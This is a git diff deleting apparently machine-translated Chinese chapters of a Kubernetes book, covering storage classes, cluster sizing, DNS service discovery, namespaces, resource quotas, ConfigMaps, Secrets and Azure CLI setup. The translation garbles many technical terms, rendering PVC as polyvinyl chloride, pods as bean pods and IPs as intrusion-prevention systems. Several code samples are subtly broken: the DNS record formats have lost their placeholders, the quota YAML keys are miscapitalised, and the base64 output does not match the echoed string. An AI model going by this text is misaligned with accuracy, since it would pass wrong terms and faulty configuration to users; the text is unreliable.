-存储类就像是对存储进行分层的一种方式。您可以创建一个配置慢速存储卷的类,或者另一个配置超快速固态硬盘的类。但是,存储类比分层稍微复杂一点。正如我们在创建聚氯乙烯的两种方法中提到的,存储类使动态资源调配成为可能。在云环境中工作时,您不希望手动为每个 PV 创建每个后端磁盘。存储类将设置一个名为**供应器**的东西,它调用与云提供商的应用编程接口对话所必需的卷插件。每个资源调配者都有自己的设置,以便能够与指定的云提供商或存储提供商进行对话。 - -您可以通过以下方式调配存储类;这是一个使用 Azure 磁盘作为磁盘资源调配器的存储类示例: - -```sh -kind: StorageClass -apiVersion: storage.k8s.io/v1 -metadata: - name: my-storage-class -provisioner: kubernetes.io/azure-disk -parameters: - storageaccounttype: Standard_LRS - kind: Shared -``` - -每个存储类置备程序和 PV 类型都有不同的要求和参数以及卷,我们已经大致了解了它们的工作原理以及它们的用途。了解特定的存储类别和光伏类型将取决于您的环境;通过点击以下链接,您可以了解更多关于它们的信息: - -* [https://kubernetes . io/docs/concepts/storage/storage-class/# provisioner](https://kubernetes.io/docs/concepts/storage/storage-classes/#provisioner) -* [https://kubernetes . io/docs/concepts/storage/persistent-volumes/# persistent-volumes 类型](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#types-of-persistent-volumes) - -# 摘要 - -在本章中,我们了解了什么是 Kubernetes,它的组件,以及使用编排的优势。 - -现在,您应该能够识别每个 Kubernetes API 对象、它们的用途以及它们的用例。您应该能够理解主节点如何控制集群以及工作节点中容器的调度。 - -# 问题 - -1. 什么是 Kubernetes? -2. Kubernetes 的成分是什么? -3. Kubernetes 的 API 对象有哪些? -4. 我们能用库本内斯做什么? -5. 什么是容器编排器? -6. 什么是豆荚? -7. 什么是部署? - -# 进一步阅读 - -* *掌握 Kubernetes* ,作者:Packt Publishing:[https://prod . packtpub . com/in/虚拟化与云/掌握-kubernetes](https://prod.packtpub.com/in/virtualization-and-cloud/mastering-kubernetes) -* *开发人员的 Kubernetes*,作者:Packt Publishing:[https://prod . packtpub . com/in/虚拟化与云/kubernetes-developers](https://prod.packtpub.com/in/virtualization-and-cloud/kubernetes-developers) -* *Kubernetes 入门*,作者:Packt Publishing:[https://prod . packtpub . com/in/虚拟化与云/入门-Kubernetes-第三版](https://prod.packtpub.com/in/virtualization-and-cloud/getting-started-kubernetes-third-edition) \ No newline at end of file diff --git a/docs/handson-linux-arch/08.md b/docs/handson-linux-arch/08.md deleted file mode 100644 index f8bec1f8..00000000 --- a/docs/handson-linux-arch/08.md +++ /dev/null @@ -1,406 +0,0 @@ -# 八、构建 Kubernetes 集群 - -既然我们已经了解了构成 Kubernetes 集群的基础知识,我们仍然需要了解如何将所有的 Kubernetes 组件放在一起,以及如何满足它们的需求来提供一个生产就绪的 Kubernetes 集群。 - -在本章中,我们将研究如何确定这些需求,以及它们将如何帮助我们保持稳定的工作负载并实现成功的部署。 - -我们将在本章探讨以下主题: - -* Kube 尺寸 -* 确定存储注意事项 -* 确定网络需求 -* 自定义 kube 对象 - -# Kube 尺寸 - -在设计 Kubernetes 集群时,我们不仅需要担心如何配置部署对象来托管我们的应用,或者如何配置服务对象来提供跨吊舱的通信,所有这些都托管在哪里也很重要。因此,我们还需要考虑平衡应用工作负载和控制平面所需的资源。 - -# etcd 注意事项 - -我们将需要至少一个三节点`etcd`集群,以便它能够在一个节点出现故障时支持自己。因为`etcd`使用了一种叫做 **Raft** 的分布式普查算法,所以推荐奇数集群。这是因为,为了允许一个动作,集群中超过 50%的成员必须同意它。例如,在双节点群集的情况下,如果其中一个节点出现故障,另一个节点的投票率仅为群集的 50%,因此群集会失去仲裁。现在,当我们有一个三节点集群时,单个节点故障仅代表 33.33%的投票损失,其余两个节点的投票仍然是 66.66%的行动被允许。 - -The following link is for a great website where you can learn exactly how the Raft algorithm works: [http://thesecretlivesofdata.com/raft/](http://thesecretlivesofdata.com/raft/). - -对于`etcd`,我们可以为集群选择两种部署模式。我们可以在与 kube-apiserver 相同的节点上运行它,也可以让一组单独的集群运行我们的键值存储。无论哪种方式,这都不会改变`etcd`达到法定人数的方式,所以您仍然需要在您的控制平面管理器节点上以奇数安装`etcd`。 - -对于 Kubernetes 用例来说,`etcd`不会消耗大量的计算资源,比如 CPU 或者内存。虽然`etcd`确实积极缓存键值数据,并使用其大部分内存跟踪观察器,但两个内核和 8 GB 内存将绰绰有余。 - -说到磁盘,这是您需要更加关键的地方。`etcd`集群严重依赖磁盘延迟,因为共识协议在日志中持久存储元数据的方式。`etcd`集群的每个成员都必须存储每个请求,延迟的任何大峰值都会触发集群领导者选举,这将导致集群不稳定。除非您在 Raid 0 磁盘中运行 15k RPM 的磁盘,以尽可能从磁盘驱动器中获得最高性能,否则用于 T2 的**硬盘驱动器** ( **硬盘驱动器**)是不可能的。一个**固态硬盘** ( **固态硬盘**)是不错的选择,而且凭借极低的延迟和每秒更高的**输入/输出操作** ( **IOPS** ),它们是托管您的键值存储的最佳选择。谢天谢地,所有主要的云提供商都提供固态硬盘解决方案来满足这一需求。 - -# kube API 服务器大小调整 - -控制平面组件所需的剩余资源将取决于它们将管理的节点数量以及您将在其上运行的加载项。需要考虑的另一件事是,您可以将这些主节点放在负载平衡器后面,以减轻负载并提供高可用性。除此之外,您还可以在争用期间水平扩展主节点。 - -考虑到所有这些,并考虑到`etcd`将与我们的主节点一起托管,我们可以说一个三主节点集群,其中有 2 到 4 个虚拟机,8 到 16 GB 的内存足以处理大于或等于 100 个工作节点的虚拟机 ( **虚拟机**)。 - -# 工作节点 - -另一方面,工作节点将承担重任——这些人将运行我们的应用工作负载。标准化这些节点的大小是不可能的,因为它们属于*万一呢?*场景。我们需要确切地知道我们将在我们的节点上运行什么类型的应用,以及它们的资源需求,以便我们能够正确地调整它们的大小。节点不仅要根据应用资源需求来调整大小,而且我们还必须考虑在其上运行超过计划的单元的时间段。例如,您可以对部署执行滚动更新,以使用更新的映像,这取决于您如何配置您的`maxSurge`;这个节点必须处理 10%到 25%的负载。 - -容器确实是轻量级的,但是当管弦乐队开始演奏时,您可以在单个节点上运行 30 个、40 个甚至 100 个容器!这将成倍增加每台主机的资源消耗。虽然 pods 附带了资源限制功能和规范来限制容器的资源消耗,但您仍然需要考虑这些容器所需的资源。 - -在竞争和高资源需求期间,节点总是可以水平扩展的。然而,拥有这些额外的资源总是好的,以避免任何不受欢迎的内存不足的杀手。所以,为未来和*做计划,如果呢?*拥有额外资源池的场景。 - -# 负载平衡器注意事项 - -我们的节点仍然需要与我们的应用编程接口服务器通信,正如我们之前提到的,拥有几个主节点需要一个负载平衡器。当涉及到从我们的节点到主节点的负载平衡请求时,我们有几个选项可供选择,具体取决于您运行集群的位置。如果您在公共云中运行 Kubernetes,您可以继续使用云提供商的负载平衡器选项,因为它们通常是弹性的。这意味着它们会根据需要自动缩放,并提供比您实际需要的更多功能。本质上,对 API 服务器的负载平衡请求将是负载平衡器将执行的唯一任务。这将我们引向内部场景——由于我们坚持使用开源解决方案,因此您可以配置一个运行 HAProxy 或 NGINX 的 Linux 盒子来满足您的负载平衡需求。在 HAProxy 和 NGINX 之间进行选择没有错误的答案,因为它们为您提供了您所需要的东西。 - -到目前为止,基本架构如下图所示: - -![](img/ae11e5e7-863f-4eb1-aaab-b5be6cdd8b81.png) - -# 存储注意事项 - -存储需求不像常规主机或虚拟机管理程序那样简单。我们的节点和 pod 将消耗几种类型的存储,我们需要对它们进行适当的分层。因为您运行的是 Linux,所以将存储分层到不同的文件系统和存储后端将变得非常容易——没有什么是**逻辑卷管理器** ( **LVM** )或不同的挂载点无法解决的。 - -基本的 Kubernetes 二进制文件,比如`kubelet`、`kube-proxy`,可以和 OS 文件一起运行在基本存储上;不需要非常高端的东西,因为任何固态硬盘都足以满足他们的需求。 - -另一方面,现在我们有了存储和运行容器图像的存储空间。回到[第 6 章](06.html)、*创建高可用性自愈架构*,我们了解到容器是由只读层组成的。这意味着,当磁盘在单个节点上运行数十个甚至数百个容器时,它们在读取请求时会受到很大冲击。为此,存储后端必须以非常低的延迟为读取请求提供服务。IOPS 和延迟方面的具体数字因环境而异,但基础是相同的。这是因为容器的性质——提供比写入更高的读取性能的磁盘将是优选的。 - -存储性能不是唯一需要考虑的因素。储物空间也很重要。计算所需空间取决于以下两点: - -1. 你要运行的图像有多大? -2. 你将运行多少个不同的图像,它们的大小是多少? - -这将直接消耗`/var/lib/docker`或`/var/lib/containerd`中的空间。考虑到这一点,`/var/lib/docker`或`containerd/`的单独挂载点将是一个不错的选择,该挂载点有足够的空间来存储你将要在吊舱上运行的所有图像。请注意,这些图像是短暂的,不会永远存在于您的节点上。Kubernetes 确实在 kubelet 中嵌入了垃圾收集策略,如果达到指定的磁盘使用阈值,它将删除不再使用的旧映像。这些选项是`HighThresholdPercent`和`LowThresholdPercent.`你可以用一个 kubelet 标志来设置它们:`--eviction-hard=imagefs.available`或`--eviction-soft=imagefs.available`。默认情况下,这些标志已经配置为当可用存储空间小于 15%时进行垃圾收集,但是,您可以根据需要进行调整。`eviction-hard`是开始删除图像需要达到的阈值,`eviction-soft`是停止删除图像需要达到的百分比或量。 - -一些容器仍然需要某种持久数据的读/写卷。正如在[第 7 章](07.html)、*中所讨论的,了解 Kubernetes 集群*的核心组件,有几个存储资源调配器,它们都适合不同的场景。您需要知道的是,由于 Kubernetes 存储类,您可以选择一系列选项。值得一提的一些开源软件定义的存储解决方案如下: - -* Ceph -* 格鲁斯特 -* OpenStack 煤渣 -* **网络文件系统** ( **NFS** ) - -每个存储资源调配者都有其优点和缺点,但详细介绍每一个都超出了本书的范围。在前面的章节中,我们已经对 Gluster 进行了很好的概述,因为我们将在后面的章节中使用它来进行示例部署。 - -# 网络要求 - -为了了解我们集群的网络需求,我们首先需要了解 Kubernetes 网络模型及其旨在解决的问题。容器联网可能很难掌握;然而,它有三个基本问题: - -1. 容器如何相互对话(在同一台主机上和不同的主机上)? -2. 容器如何与外界对话,外界如何与容器对话? -3. 谁分配和配置每个容器的唯一 IP 地址? - -同一个主机上的容器可以通过虚拟桥相互通信,您可以从`bridge-utils`包中使用`brctl`实用程序看到该虚拟桥。这是由 Docker 引擎处理的,它被称为 Docker 网络模型。容器通过一个“T3”虚拟接口连接到名为“T2”的虚拟桥,该接口从一个专用子网地址分配一个 IP。这样,所有容器都可以通过它们的`veth`虚拟接口相互对话。当容器被分配在不同的主机上,或者当外部服务想要与它们通信时,Docker 模型的问题就出现了。为了解决这个问题,Docker 提供了一种方法,其中容器通过主机的端口暴露给外部世界。请求进入主机 IP 地址中的某个端口,然后被代理到该端口后面的容器。 - -这种方法有用,但不理想。您不能将服务配置到特定的端口,也不能在动态端口分配场景中配置服务——我们的服务在每次部署时都需要标志来连接到正确的端口。这会很快变得非常混乱。 - -为了避免这种情况,Kubernetes 实现了自己的网络模型,该模型必须遵守以下规则: - -1. 所有吊舱无需**网络地址转换** ( **NAT** )即可与所有其他吊舱通信 -2. 所有节点都可以在没有 NAT 的情况下与所有吊舱通信 -3. 吊舱认为自己的知识产权和别人认为的知识产权是一样的 - -有几个开源项目可以帮助我们实现这个目标,最适合你的项目将取决于你的情况。以下是其中的一些: - -* 卡利科项目 -* 编织网 -* 法兰绒 -* 多维数据集路由器 - -将入侵防御系统分配给吊舱,并让它们相互对话,这并不是唯一需要注意的问题。Kubernetes 还提供了基于 DNS 的服务发现,因为通过 DNS 记录而不是 IPs 进行对话的应用要高效得多,并且可扩展。 - -# 基于 Kubernetes DNS 的服务发现 - -Kubernetes 在其 kube-system 名称空间中有一个部署,我们将在本章的后面部分重新讨论名称空间。该部署由一个带有一组容器的 pod 组成,这些容器组成了一个 DNS 服务器,负责创建集群中的所有 DNS 记录,并为服务发现的 DNS 请求提供服务。 - -Kubernetes 还将创建一个指向上述部署的服务,并将告诉 kubelet 配置每个 pod 的容器,默认情况下使用服务的 IP 作为 DNS 解析器。这是默认行为,但是您可以通过在 pod 的规范上设置 DNS 策略来覆盖它。您可以从以下规格中选择: - -* **默认**:这个是反直觉的,因为它不是现实中的默认。使用此策略,pod 将从运行该 pod 的节点继承名称解析。例如,如果一个节点被配置为使用`8.8.8.8`作为其 DNS 服务器,`resolv.conf`单元也将被配置为使用相同的 DNS 服务器。 -* **集群优先**:这实际上是默认策略,正如我们之前提到的,任何运行集群优先的 pod 都将使用`kube-dns`服务的 IP 配置`resolv.conf`。任何不在群集本地的请求都将被转发到节点配置的 DNS 服务器。 - -并非所有 Kubernetes 对象都有 DNS 记录。只有服务,在某些特定情况下,pods 会为它们创建记录。DNS 服务器中有两种类型的记录: **A 记录**和**服务记录**(**SRV**)。a 根据创建的服务类型创建记录;这里我们指的不是`spec.type`。有两种类型的服务:**正常服务**,我们在[第 7 章](07.html)、*了解一个 Kubernetes 集群的核心组件*中进行了修改,与`type`规范下的对应;和**无头服务**。在解释无头服务之前,让我们探索一下正常服务的行为。 - -对于每个正常服务,创建一个指向该服务的群集 IP 地址的 A 记录;这些记录的结构如下: - -```sh -..svc.cluster.local -``` - -任何运行在与服务相同命名空间上的 pod 都只能通过其`shortname: `字段解析服务。这是因为命名空间之外的任何其他 pod 都必须在 shortname 实例之后指定命名空间: - -```sh -. -``` - -对于无头服务,记录的工作方式有点不同。首先,无头服务是没有分配集群 IP 的服务。因此,指向服务 IP 的 A 记录是不可能创建的。要创建一个无头服务,您可以用`none`定义`.spec.clusterIP`命名空间,这样就不会给它分配任何 IP。然后,Kubernetes 将基于该服务的端点创建一个记录。本质上,豆荚是通过`selector`领域选择的,尽管这不是唯一的要求。由于创建 A 记录的格式,pods 需要几个新字段,以便 DNS 服务器为它们创建记录。 - -Pods 将需要两个新的规格字段:`hostname`和`subdomain`。`hostname`字段将是吊舱的`hostname`字段,而`subdomain`将是您为这些吊舱创建的无头服务的名称。此的 A 记录将以以下方式指向每个 pod 的 IP: - -```sh -...svc.cluster.local -``` - -此外,将使用无头服务创建另一条记录,如下所示: - -```sh -..svc.cluster.local -``` - -该记录将返回服务背后的所有吊舱的 IP 地址。 - -我们现在已经具备了开始构建集群的必要条件。但是,仍然有一些设计特性不仅包括 Kubernetes 二进制文件及其配置,还可以调整 Kubernetes API 对象。我们将在下一节中介绍您可以执行的一些调整。 - -# 自定义 kube 对象 - -说到 Kubernetes 对象,一切都取决于您试图为其构建基础架构的工作负载或应用的类型。因此,我们将讨论如何在每个对象上配置最常用和最有用的规范,而不是设计或构建任何特定的定制。 - -# 名称间距 - -Kubernetes 提供了名称空间,作为将集群分割成多个**虚拟集群**的一种方式。可以把它看作是一种分割集群资源和对象的方式,并把它们彼此逻辑隔离。 - -名称空间将仅在非常特定的场景中使用,但是 Kubernetes 附带了一些预定义的名称空间: - -* **默认**:这是默认的命名空间,所有没有命名空间定义的对象都会被放入其中。 -* **kube-system** :任何由 Kubernetes 集群创建并为其创建的对象都将被放在这个命名空间中。集群基本功能所需的对象将放在这里。例如,您会发现`kube-dns`、`kubernetes-dashboard`、`kube-proxy`或任何外部应用的附加组件或代理,如`fluentd`、`logstash`、`traefik`和入口控制器。 -* **kube-public** :为任何人都可以看到的对象保留的命名空间,包括未经身份验证的用户。 - -创建命名空间非常简单明了;您可以通过运行以下命令来实现: - -```sh -kubectl create namespace -``` - -就是这样,您现在有了自己的名称空间。要在这个名称空间中放置对象,您将使用`metadata`字段并添加`namespace`键值对;例如,考虑来自 YAML 吊舱的这个摘录: - -```sh - apiVersion: v1 - kind: Pod - metadata: - namespace: mynamespace - name: pod1 -``` - -您会发现自己正在为集群创建自定义名称空间,这些集群通常非常大,并且有相当多的用户或不同的团队在消耗他们的资源。对于这些类型的场景,名称空间是完美的。名称空间将允许您将团队的所有对象与其他对象隔离开来。名称甚至可以在相同的类对象上重复,只要它们在不同的命名空间上。 - -命名空间不仅为对象提供隔离,还可以为每个命名空间设置资源配额。假设您有几个开发团队在您的集群上工作——一个团队正在开发一个非常轻量级的应用,另一个团队正在开发一个非常资源密集型的应用。在这种情况下,您不希望第一个开发团队消耗资源密集型应用团队的任何额外计算资源,这就是资源配额发挥作用的地方。 - -# 限制命名空间资源 - -资源配额也是 Kubernetes API 对象;但是,它们被设计为通过对计算资源进行限制,甚至限制每个分配空间上的对象数量,来专门处理名称空间。 - -通过传递给`kubectl`命令的`YAML`文件,该`ResourceQuota`应用编程接口对象像 Kubernetes 斯中的任何其他对象一样被声明。 - -基本资源配额定义如下: - -```sh -apiVersion: v1 -kind: ResourceQuota -Metadata: - Namespace: devteam1 - name: compute-resources -spec: - hard: - pods: "4" - requests.cpu: "1" - requests.memory: 1Gi - limits.cpu: "2" - limits.memory: 2Gi -``` - -我们可以设置两种类型的基本配额:计算资源配额和对象资源配额。如前例所示,`pods`是对象配额,其余是计算配额。 - -在这些字段中,您将指定所提供资源的总和,命名空间不能超过该总和。例如,在这个命名空间中,运行的`pods`总数不能超过`4`,它们的资源总和不能超过`1` CPU 和`2Gi`的 RAM 内存。 - -每个命名空间可以分配给任何可以放入命名空间的 kube API 对象的最大对象数;以下是可以用名称空间限制的对象列表: - -* **持续卷索赔** ( **PVCs** ) -* 服务 -* 秘密 -* 配置地图 -* 复制控制器 -* 部署 -* 复制集 -* 状态集 -* 乔布斯 -* 计划任务 - -说到计算资源,不仅内存和 CPU 会受到限制,而且您还可以为存储空间分配配额—但是,这些配额仅适用于物理卷。 - -为了更好地理解计算配额,我们需要更深入地探索如何在 pod 基础上管理和分配这些资源。这也将是一个很好的时间来理解如何更好地设计吊舱。 - -# 定制吊舱 - -在非受限名称空间上没有资源限制的 Pods 可以在没有警告的情况下消耗节点的所有资源;但是,在 pod 的规范中有一组工具可以更好地处理它们的计算分配。 - -当您将资源分配给 pod 时,实际上并没有将它们分配给 pod。相反,你是在一个容器的基础上做的。因此,一个具有多个容器的 pod 将对其每个容器有多个资源约束;让我们考虑以下示例: - -```sh -apiVersion: v1 - kind: Pod - metadata: - name: frontend - spec: - containers: - - name: db - image: mysql - env: - - name: MYSQL_ROOT_PASSWORD - value: "password" - resources: - requests: - memory: "64Mi" - cpu: "250m" - limits: - memory: "128Mi" - cpu: "500m" - - name: wp - image: wordpress - resources: - requests: - memory: "64Mi" - cpu: "250m" - limits: - memory: "128Mi" - cpu: "500m" -``` - -在这个 pod 声明中,在`containers`定义下,我们有两个新的领域没有涉及到:`env`和`resources`。`resources`字段包含我们的`containers`的计算资源限制和要求。通过设置`limits`,您告诉容器它可以向该资源类型请求的最大资源数量。如果容器超过限制,它将被重新启动或终止。 - -`request`字段指的是 Kubernetes 将向该容器保证多少资源。为了使容器能够运行,主机节点必须有足够的空闲资源来满足请求。 - -CPU 和内存的测量方式不同。例如,当我们分配或限制中央处理器时,我们用中央处理器单位说话。有几种设置中央处理器单元的方法;首先,您可以指定整数或小数,如 1、2、3、0.1 和 1.5,这将对应于您要分配给该容器的虚拟内核数量。另一种赋值方式是使用 **milicore** 表达式。一个百万核心(1m),这是您可以分配的最小 CPU 数量,相当于 0.001 个 CPU 核心;例如,您可以完成以下任务: - -```sh -cpu: "250m" -``` - -这与编写以下内容相同: - -```sh -cpu: 0.25 -``` - -分配中央处理器的首选方式是通过毫核心,因为应用编程接口会将整数转换为毫核心。 - -对于内存分配,您可以使用正常的内存单位,如千字节或千字节;其他任何存储单元也是如此,例如 E、P、T、G 和 m - -回到资源配额,我们可以看到单个容器资源管理将如何与名称空间上的资源配额一起发挥作用。这是因为资源配额会告诉我们在容器中每个名称空间可以设置多少限制和请求。 - -第二个我们没有修改的字段是`env`字段。借助`env`,我们为容器配置环境变量。通过变量声明,我们可以将设置、参数、密码和更多配置传递给容器。在 pod 中声明变量的最简单方法如下: - -```sh -... -env: -- name: VAR - value: “Hello World” -``` - -现在容器可以访问其 Shell 中的`VAR`变量内容,称为`$VAR`。正如我们前面提到的,这是声明变量并为其提供值的最简单方法。然而,这并不是最有效的方法——当你以这种方式声明一个值时,这个值将只存在于 pod 声明中。 - -如果我们需要编辑该值或将该值传递给多个窗格,这将变得很麻烦,因为您需要在每个需要它的窗格上键入相同的值。这里我们将介绍另外两个 Kubernetes API 对象:`Secrets`和`ConfigMaps`。 - -有了`ConfigMaps`和`Secrets`,我们可以以一种持久的和更模块化的形式存储变量的值。本质上,`ConfigMaps`和`Secrets`是一样的,但是秘密包含了它们编码在`base64`中的价值。机密用于存储敏感信息,如密码或私钥,本质上是任何类型的机密数据。其余所有不需要隐藏的数据都可以通过`ConfigMap`传递。 - -创建这两种类型的对象的方式与在 Kubernetes 中创建任何其他对象的方式相同—通过`YAML`。您可以如下创建一个`ConfigMap`对象: - -```sh -apiVersion: v1 - kind: ConfigMap - metadata: - name: my-config - data: - super.data: much-data - very.data: wow -``` - -与本章中的所有其他定义相比,这个定义的唯一区别是我们缺少了规范字段。相反,我们有数据,我们将把包含我们想要存储的数据的键值对放在那里。 - -与`Secrets`相比,这种工作方式略有不同。这是因为我们需要存储的密钥的值必须被编码。为了在秘密密钥中存储一个值,我们将该值传递给`base64`,如下所示: - -```sh -[dsala@RedFedora]$ echo -n “our secret” | base64 -WW91IEhhdmUgRGVjb2RlZCBNeSBTZWNyZXQhIENvbmdyYXR6IQ== -``` - -当我们有了字符串的散列后,我们就准备好创造我们的秘密了。 - -下面的代码块显示了一个在`base64`中配置了秘密值的`YAML`文件: - -```sh -apiVersion: v1 - kind: Secret - metadata: - name: kube-secret - type: Opaque - data: - password: WW91IEhhdmUgRGVjb2RlZCBNeSBTZWNyZXQhIENvbmdyYXR6IQ== -``` - -要在豆荚中使用我们的`ConfigMaps`和`Secrets`对象,我们使用`env`数组中的`valueFrom`字段: - -```sh -apiVersion: v1 - kind: Pod - metadata: - name: secret-pod - spec: - containers: - - name: secret-container - image: busybox - env: - - name: SECRET_VAR - valueFrom: - secretKeyRef: - name: kube-secret - key: password -``` - -这里`secretKeyRef`下的名称对应`Secret` API 对象名称,`key`是`Secret`中`data`字段的`key`。 - -有了`ConfigMaps`,看起来会差不多;但是,在`valueFrom`领域,我们将使用`configMapKeyRef`代替`secretKeyRef`。 - -`ConfigMap`申报如下: - -```sh - … - env: - - name: CONFMAP_VAR - valueFrom: - configMapKeyRef: - name: my-config - key: very.data -``` - -Now that you understand the basics of customizing pods, you can take a look at a real-life example at [https://kubernetes.io/docs/tutorials/configuration/configure-redis-using-configmap/](https://kubernetes.io/docs/tutorials/configuration/configure-redis-using-configmap/). - -# 摘要 - -在本章中,我们学习了如何确定 Kubernetes 集群的计算和网络需求。我们还谈到了随之而来的软件需求,例如`etcd`,以及奇数编号的集群是如何被优先选择的(由于人口普查算法),因为集群需要获得 50%以上的一致投票。 - -`etcd`集群既可以在 kube-apiserver 上运行,也可以有一组单独的集群专门用于`etcd`。说到资源,2 个 CPU,8gb RAM 应该够了。在决定`etcd`的存储系统时,选择延迟更低、IOPS 更高的存储,如固态硬盘。然后我们开始估算 kube-apiserver,它可以和`etcd`一起运行。考虑到两个组件可以共存,资源应该提升到每个节点 8 到 16 GB 的内存和 2 到 4 个处理器。 - -为了适当地调整工作节点的大小,我们必须记住这是实际应用工作负载运行的地方。这些节点应该根据应用需求进行调整,并且在运行的 pods 数量可能超过计划数量的时段,例如滚动更新期间,应该考虑额外的资源。继续讨论集群的需求,我们讨论了负载平衡器如何通过平衡集群之间的请求来帮助主节点的通信。 - -【Kubernetes 的存储需求可能会非常大,因为许多因素会影响整体设置,倾向于读取优于写入的存储系统更可取。此外,Kubernetes 最常见的存储提供商如下: - -* Ceph -* GlusterFS(涵盖在[第 2 章](02.html)、*定义 GlusterFS 存储*到[第 5 章](05.html)、*分析 Gluster 系统中的性能*) -* OpenStack 煤渣 -* 网络文件系统 - -然后,我们转向网络方面,了解了 Kubernetes 如何提供服务,例如基于 DNS 的服务发现,它负责创建集群中的所有 DNS 记录,并为服务发现的 DNS 请求提供服务。Kubernetes 中的对象可以定制,以适应每个工作负载的不同需求,名称空间之类的东西被用作将集群分割成多个虚拟集群的一种方式。资源限制可以通过资源配额来实现。 - -最后,可以定制 pod,以允许分配绝对最大数量的资源,并避免单个 pod 消耗所有工作节点的资源。我们详细讨论了各种存储注意事项和要求,包括如何定制 kube 对象和 pods。 - -在下一章中,我们将跳转到部署 Kubernetes 集群,并学习如何配置它。 - -# 问题 - -1. 为什么优先选择奇数`etcd`簇? -2. `etcd`能和 kube-apiserver 一起跑吗? -3. 为什么建议`etcd`延迟更低? -4. 什么是工作者节点? -5. 调整工作节点时应该考虑什么? -6. Kubernetes 有哪些存储提供商? -7. 为什么需要负载平衡器? -8. 如何使用命名空间? - -# 进一步阅读 - -* *掌握 Kubernetes* 作者:Gigi Sayfan:[https://www . packtpub . com/虚拟化与云/掌握-kubernetes](https://www.packtpub.com/virtualization-and-cloud/mastering-kubernetes) -* *开发人员的 Kubernetes*作者:Joseph Heck:[https://www . packtpub . com/虚拟化与云/kubernetes-developers](https://www.packtpub.com/virtualization-and-cloud/kubernetes-developers) -* *与 Kubernetes 的实践微服务*作者:Gigi Sayfan:[https://www . packtpub . com/虚拟化与云/实践微服务-kubernetes](https://www.packtpub.com/virtualization-and-cloud/hands-microservices-kubernetes) -* *Kubernetes 入门-第三版*作者:Jonathan Baier,杰西·怀特:[https://www . packtpub . com/虚拟化与云/入门-Kubernetes-第三版](https://www.packtpub.com/virtualization-and-cloud/getting-started-kubernetes-third-edition) -* *Mastering Docker–第二版*Russ McKendrick,Scott 加拉格尔:[https://www . packtpub . com/虚拟化与云/Mastering-Docker-第二版](https://www.packtpub.com/virtualization-and-cloud/mastering-docker-second-edition) -* *Docker Bootcamp* 作者:Russ McKendrick 等人:[https://www . packtpub . com/虚拟化与云/docker-bootcamp](https://www.packtpub.com/virtualization-and-cloud/docker-bootcamp) \ No newline at end of file diff --git a/docs/handson-linux-arch/09.md b/docs/handson-linux-arch/09.md deleted file mode 100644 index c17041f2..00000000 --- a/docs/handson-linux-arch/09.md +++ /dev/null @@ -1,1966 +0,0 @@ -# 九、部署和配置 Kubernetes - -在了解了 Kubernetes 的内部组件以及它们之间的交互方式之后,是时候学习如何设置它们了。手动安装 Kubernetes 集群可能是一个非常痛苦和微妙的过程,但是通过完成所需的步骤,我们可以学习和更好地理解它的内部组件。在执行手动安装之后,我们还可以探索我们有哪些其他的替代方法和工具来自动化这个过程。以下是我们将在本章中学习的内容的摘要: - -* 创建我们的计算环境 -* 引导控制平面 -* 引导工作节点 -* 配置群集网络和 DNS 设置 -* 托管 Kubernetes 服务的示例 - -随着每一步的进行,我们将更接近完成 Kubernetes 的完整安装,并准备在开发环境中进行测试。 - -# 基础设施部署 - -为了部署运行 Kubernetes 集群的基础设施,我们将使用微软 Azure。您可以通过创建免费试用版或使用任何其他公共云提供商或您自己的内部 IT 基础架构来跟进。不过,根据您的选择,步骤会有所不同。 - -# 安装 Azure 命令行界面 - -当您使用 Linux 时,有两种方法可以在 Azure 中部署资源:您可以从门户或通过 Azure CLI 来完成。我们将两者都使用,但是用于不同的场景。 - -让我们开始在我们的 Linux 工作站或 Linux 的 Windows 子系统上安装 Azure CLI。 - -Note that all commands are assumed to be issued by an account with root privileges or the root account itself (but this is not recommended). - -对于基于 RHEL/Centos 的发行版,您需要执行以下步骤: - -1. 下载并`import`存储库密钥,如下命令所示: - -```sh -rpm --import https://packages.microsoft.com/keys/microsoft.asc -``` - -2.创建存储库配置文件,如以下命令所示: - -```sh -cat << EOF > /etc/yum.repos.d/azure-cli.repo -[azure-cli] -name=Azure CLI -baseurl=https://packages.microsoft.com/yumrepos/azure-cli -enabled=1 -gpgcheck=1 -gpgkey=https://packages.microsoft.com/keys/microsoft.asc -EOF -``` - -3.使用以下命令安装`azure-cli`: - -```sh -yum install azure-cli -``` - -4.使用以下命令登录您的 Azure 订阅: - -```sh -az login -``` - -If you are not in a Desktop environment, you can use: az login --use-device-code,  because  the regular "az login" requires  a web browser to perform the login. - -安装 Azure CLI 后,我们仍然需要设置一些默认值,这样我们就不必一遍又一遍地键入相同的标志选项。 - -# 配置 Azure 命令行界面 - -Azure 上的每个资源都生活在一个资源组和一个地理位置中。因为我们所有的资源将生活在相同的资源组和位置,让我们将它们配置为默认值。为此,请运行以下命令: - -```sh -az configure --defaults location=eastus group=Kube_Deploy -``` - -对于我们的示例,我们使用`east us`作为位置,因为这是最接近我们所在位置的位置。组名将取决于您如何命名您的资源组,在我们的示例中为`Kube_Deploy`。 - -配置了默认值后,让我们继续使用以下命令实际创建包含我们的资源的资源组: - -```sh -az group create -n “Kube_Deploy” -``` - -# 高级设计概述 - -创建我们的资源组并选择我们的位置后,让我们从高层次来看一下我们将使用以下代码创建的设计: - -```sh - -``` - -我们现在需要注意的重要事项是虚拟机数量、网络架构和防火墙规则,因为这些是我们将在第一步中直接配置的要素。 - -在开始调配资源之前,让我们先了解一下我们的网络需求。 - -我们有以下要求: - -* 以下三组不同的非重叠子网: - * 虚拟机子网 - * Pod 子网 - * 服务子网 - -* 为以下资源静态分配的 IP 地址: - * 主节点 - * 工作节点 - * 管理虚拟机 - * 负载平衡器的公共 IP - * DNS 服务器 - -对于我们的虚拟机子网,我们将使用以下地址空间: - -```sh -192.168.0.0/24 -``` - -CIDR 的服务如下: - -```sh -10.20.0.0/24 -``` - -最后,我们的 POD CIDR 将稍微大一点,这样它可以分配更多的 POD,如下面的代码所示: - -```sh -10.30.0.0/16 -``` - -现在,让我们开始调配实现该体系结构所需的网络资源。 - -# 供应网络资源 - -首先,我们将创建包含虚拟机子网的虚拟网络。为此,请运行以下命令: - -```sh -az network vnet create -n kube-node-vnet \ - --address-prefix 192.168.0.0/16 \ - --subnet-name node-subnet \ - --subnet-prefix 192.168.0.0/24 -``` - -这个命令的两个关键点是`address-prefix` 旗和`subnet-prefix`旗。 - -使用`address-prefix` 标志,我们将指定地址空间,该空间将定义我们可以在 VNET 上放置哪些子网。例如,我们的 VNET 